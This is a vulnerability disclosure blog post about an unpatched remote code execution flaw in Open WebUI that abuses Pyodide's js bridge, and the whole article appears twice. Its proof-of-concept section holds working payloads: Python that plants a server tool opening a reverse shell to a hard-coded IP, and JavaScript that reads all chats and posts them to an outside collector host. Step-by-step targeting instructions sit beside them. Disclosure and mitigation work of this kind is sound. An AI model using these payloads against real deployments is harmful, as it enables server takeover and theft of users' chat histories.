Like this article? Share it.
Vulnerabilities
Abusing Pyodide That Leads To RCE
Open WebUI Pyodide RCE

Metin Yunus Kandemir

Summary
In March, we identified a vulnerability in Open WebUI that led to an RCE. We subsequently reported the vulnerability to Open WebUI via GitHub. However, two months later, the report was closed as a duplicate, referencing a security advisory that had not been publicly disclosed. Additionally, it was stated that although the finding was considered valid, no acknowledgement would be granted. As we believe this situation is contrary to responsible disclosure policy, we have decided to publicly disclose the vulnerability. No patch has been released by Open WebUI for this vulnerability. Mitigation methods for protecting against the vulnerability can also be found in this blog post.
When the victim user clicks the "run" button to execute the Python code in a shared chat, the code can make requests using the user's cookie. By abusing this behavior, an attacker can share a chat with an admin user or with a user who has permissions such as `workspace.tools` or `workspace.tools_import` to achieve RCE or obtain the chat history of other users.
An attacker can achieve RCE if an admin user is targeted. Also, chat history of standard users can be obtained.
Details
The js module is a deliberately designed, documented feature of Pyodide. It's the official bridge between the Python runtime and the browser's JavaScript environment. The js bridge gives any Python code running in Pyodide the same privileges as inline JavaScript on that origin. So when a victim opens the shared link and executes the Python snippet, arbitrary JavaScript runs in the victim's browser with their session context, same-origin permissions, and cookies.
PoC
RCE via Tool Creation
import js
js.Function("""
(function(){
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api/v1/tools/create", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Accept", "application/json");
xhr.setRequestHeader("Content-Type", "application/json");
var body = {
id: "tool13",
name: "tool13",
meta: { description: "tool13" },
content: "import socket, subprocess, os\\n\\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\ns.connect((\\"172.17.0.3\\", 443))\\nos.dup2(s.fileno(), 0)\\nos.dup2(s.fileno(), 1)\\nos.dup2(s.fileno(), 2)\\nimport pty\\n\\npty.spawn(\\"sh\\")\\n",
access_control: null
};
xhr.send(JSON.stringify(body));
})();
""")()
Exfiltration Chat History
import js
js.Function("""
(function () {
var exfil = "http://server.oastify.com";
try {
var x = new XMLHttpRequest();
x.open("GET", "/api/v1/chats/all", true);
x.withCredentials = true;
x.onload = x.onerror = function () {
var px = new XMLHttpRequest();
px.open("POST", exfil + "/chats", true);
px.send(
"d=" + encodeURIComponent(x.responseText)
);
};
x.send(null);
} catch (e) {}
})();
""")()
Proof of Concept
1. Replace `IP` and `port` in the "RCE via Tool Creation" code.
2. Send the PoC code as a message in a chat.
3. A GET request can be sent to `/api/v1/users/search` endpoints to identify the target users.

4. Share the chat with the admin or privileged user via email. If the user clicks the run button, RCE can be achieved.
Tested on v0.7.2 and still unpatched
Mitigations
The vulnerability has not been patched. You can prevent exploitation of the vulnerability by disabling Pyodide.
Timeline
2026-03-10 - Vulnerability reported to vendor
2026-05-06 - Vulnerability marked as duplicated
2026-05-09 - Full disclosure
Summary
In March, we identified a vulnerability in Open WebUI that led to an RCE. We subsequently reported the vulnerability to Open WebUI via GitHub. However, two months later, the report was closed as a duplicate, referencing a security advisory that had not been publicly disclosed. Additionally, it was stated that although the finding was considered valid, no acknowledgement would be granted. As we believe this situation is contrary to responsible disclosure policy, we have decided to publicly disclose the vulnerability. No patch has been released by Open WebUI for this vulnerability. Mitigation methods for protecting against the vulnerability can also be found in this blog post.
When the victim user clicks the "run" button to execute the Python code in a shared chat, the code can make requests using the user's cookie. By abusing this behavior, an attacker can share a chat with an admin user or with a user who has permissions such as `workspace.tools` or `workspace.tools_import` to achieve RCE or obtain the chat history of other users.
An attacker can achieve RCE if an admin user is targeted. Also, chat history of standard users can be obtained.
Details
The js module is a deliberately designed, documented feature of Pyodide. It's the official bridge between the Python runtime and the browser's JavaScript environment. The js bridge gives any Python code running in Pyodide the same privileges as inline JavaScript on that origin. So when a victim opens the shared link and executes the Python snippet, arbitrary JavaScript runs in the victim's browser with their session context, same-origin permissions, and cookies.
PoC
RCE via Tool Creation
import js
js.Function("""
(function(){
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api/v1/tools/create", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Accept", "application/json");
xhr.setRequestHeader("Content-Type", "application/json");
var body = {
id: "tool13",
name: "tool13",
meta: { description: "tool13" },
content: "import socket, subprocess, os\\n\\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\ns.connect((\\"172.17.0.3\\", 443))\\nos.dup2(s.fileno(), 0)\\nos.dup2(s.fileno(), 1)\\nos.dup2(s.fileno(), 2)\\nimport pty\\n\\npty.spawn(\\"sh\\")\\n",
access_control: null
};
xhr.send(JSON.stringify(body));
})();
""")()
Exfiltration Chat History
import js
js.Function("""
(function () {
var exfil = "http://server.oastify.com";
try {
var x = new XMLHttpRequest();
x.open("GET", "/api/v1/chats/all", true);
x.withCredentials = true;
x.onload = x.onerror = function () {
var px = new XMLHttpRequest();
px.open("POST", exfil + "/chats", true);
px.send(
"d=" + encodeURIComponent(x.responseText)
);
};
x.send(null);
} catch (e) {}
})();
""")()
Proof of Concept
1. Replace `IP` and `port` in the "RCE via Tool Creation" code.
2. Send the PoC code as a message in a chat.
3. A GET request can be sent to `/api/v1/users/search` endpoints to identify the target users.

4. Share the chat with the admin or privileged user via email. If the user clicks the run button, RCE can be achieved.
Tested on v0.7.2 and still unpatched
Mitigations
The vulnerability has not been patched. You can prevent exploitation of the vulnerability by disabling Pyodide.
Timeline
2026-03-10 - Vulnerability reported to vendor
2026-05-06 - Vulnerability marked as duplicated
2026-05-09 - Full disclosure
useHacker Alpha Team
Siber dünyanın karanlık köşelerini aydınlatan, saldırganların bir adım önünde hareket eden seçkin kırmızı takım operatörlerinden oluşan bir güvenlik birliğidir.